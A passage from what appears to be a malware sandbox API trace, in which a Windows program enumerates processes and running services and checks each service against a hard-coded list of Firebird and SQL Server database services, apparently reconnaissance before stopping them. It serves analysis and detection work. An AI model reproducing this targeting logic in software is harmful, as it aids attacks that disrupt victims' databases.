pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.000] lstrlenW (lpString="svchost.exe") returned 11 [0298.000] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.000] lstrlenW (lpString="svchost.exe") returned 11 [0298.000] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.001] lstrlenW (lpString="svchost.exe") returned 11 [0298.001] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.001] lstrlenW (lpString="svchost.exe") returned 11 [0298.002] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.002] lstrlenW (lpString="svchost.exe") returned 11 [0298.002] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.003] lstrlenW (lpString="svchost.exe") returned 11 [0298.003] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0298.003] lstrlenW (lpString="spoolsv.exe") returned 11 [0298.003] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.004] lstrlenW (lpString="svchost.exe") returned 11 [0298.004] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0298.005] lstrlenW (lpString="audiodg.exe") returned 11 [0298.005] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0298.005] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0298.005] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0298.006] lstrlenW (lpString="Memory Compression") returned 18 [0298.006] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0298.007] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0298.007] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0298.007] lstrlenW (lpString="sihost.exe") returned 10 [0298.007] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.088] lstrlenW (lpString="svchost.exe") returned 11 [0298.088] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0298.089] lstrlenW (lpString="taskhostw.exe") returned 13 [0298.089] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0298.090] lstrlenW (lpString="msoia.exe") returned 9 [0298.090] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0298.090] lstrlenW (lpString="explorer.exe") returned 12 [0298.090] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0298.091] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0298.091] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0298.092] lstrlenW (lpString="SearchUI.exe") returned 12 [0298.092] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0298.092] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0298.092] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0298.093] lstrlenW (lpString="load0.exe") returned 9 [0298.093] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.093] lstrlenW (lpString="svchost.exe") returned 11 [0298.093] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0298.094] CloseHandle (hObject=0x10ac) returned 1 [0298.094] Sleep (dwMilliseconds=0x1f4) [0298.605] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd990 [0298.605] EnumServicesStatusExW (in: hSCManager=0x7bd990, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0298.605] GetLastError () returned 0xea [0298.605] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0298.606] EnumServicesStatusExW (in: hSCManager=0x7bd990, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0298.606] CloseServiceHandle (hSCObject=0x7bd990) returned 1 [0298.607] lstrlenW (lpString="Appinfo") returned 7 [0298.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0298.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0298.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0298.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0298.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0298.607] lstrlenW (lpString="AppXSvc") returned 7 [0298.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0298.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0298.607] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0298.607] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0298.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0298.607] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0298.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0298.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0298.607] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0298.607] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0298.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0298.607] lstrlenW (lpString="Audiosrv") returned 8 [0298.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0298.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0298.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0298.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0298.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0298.607] lstrlenW (lpString="BFE") returned 3 [0298.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0298.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0298.608] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0298.608] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0298.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0298.608] lstrlenW (lpString="BITS") returned 4 [0298.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0298.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0298.608] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0298.608] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0298.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0298.608] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0298.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0298.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0298.608] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0298.608] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0298.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0298.608] lstrlenW (lpString="CDPSvc") returned 6 [0298.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0298.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0298.608] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0298.608] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0298.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0298.608] lstrlenW (lpString="ClickToRunSvc") returned 13 [0298.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0298.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0298.608] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0298.608] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0298.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0298.608] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0298.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0298.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0298.609] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0298.609] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0298.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0298.609] lstrlenW (lpString="CryptSvc") returned 8 [0298.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0298.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0298.609] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0298.609] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0298.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0298.609] lstrlenW (lpString="DcomLaunch") returned 10 [0298.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0298.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0298.609] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0298.609] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0298.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0298.609] lstrlenW (lpString="DeviceAssociationService") returned 24 [0298.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0298.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0298.609] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0298.609] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0298.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0298.609] lstrlenW (lpString="Dhcp") returned 4 [0298.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0298.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0298.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0298.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0298.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0298.613] lstrlenW (lpString="Dnscache") returned 8 [0298.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0298.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0298.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0298.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0298.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0298.613] lstrlenW (lpString="DPS") returned 3 [0298.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0298.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0298.613] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0298.613] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0298.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0298.614] lstrlenW (lpString="DusmSvc") returned 7 [0298.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0298.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0298.614] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0298.614] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0298.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0298.614] lstrlenW (lpString="EventLog") returned 8 [0298.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0298.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0298.614] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0298.614] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0298.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0298.614] lstrlenW (lpString="EventSystem") returned 11 [0298.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0298.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0298.614] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0298.614] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0298.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0298.614] lstrlenW (lpString="FontCache") returned 9 [0298.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0298.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0298.614] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0298.614] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0298.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0298.614] lstrlenW (lpString="gpsvc") returned 5 [0298.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0298.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0298.614] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0298.614] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0298.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0298.615] lstrlenW (lpString="iphlpsvc") returned 8 [0298.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0298.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0298.615] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0298.615] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0298.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0298.615] lstrlenW (lpString="KeyIso") returned 6 [0298.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0298.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0298.615] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0298.615] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0298.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0298.615] lstrlenW (lpString="LanmanServer") returned 12 [0298.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0298.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0298.615] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0298.615] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0298.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0298.615] lstrlenW (lpString="LanmanWorkstation") returned 17 [0298.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0298.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0298.615] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0298.615] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0298.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0298.615] lstrlenW (lpString="lfsvc") returned 5 [0298.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0298.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0298.615] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0298.615] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0298.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0298.615] lstrlenW (lpString="lmhosts") returned 7 [0298.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0298.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0298.615] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0298.616] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0298.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0298.616] lstrlenW (lpString="LSM") returned 3 [0298.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0298.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0298.616] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0298.616] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0298.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0298.616] lstrlenW (lpString="MpsSvc") returned 6 [0298.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0298.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0298.616] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0298.616] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0298.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0298.616] lstrlenW (lpString="NcbService") returned 10 [0298.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0298.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0298.616] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0298.616] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0298.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0298.616] lstrlenW (lpString="netprofm") returned 8 [0298.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0298.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0298.616] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0298.616] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0298.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0298.616] lstrlenW (lpString="NgcSvc") returned 6 [0298.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0298.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0298.616] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0298.616] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0298.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0298.617] lstrlenW (lpString="NlaSvc") returned 6 [0298.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0298.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0298.617] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0298.617] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0298.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0298.620] lstrlenW (lpString="nsi") returned 3 [0298.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0298.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0298.620] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0298.620] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0298.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0298.620] lstrlenW (lpString="PcaSvc") returned 6 [0298.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0298.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0298.620] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0298.620] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0298.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0298.620] lstrlenW (lpString="PlugPlay") returned 8 [0298.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0298.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") 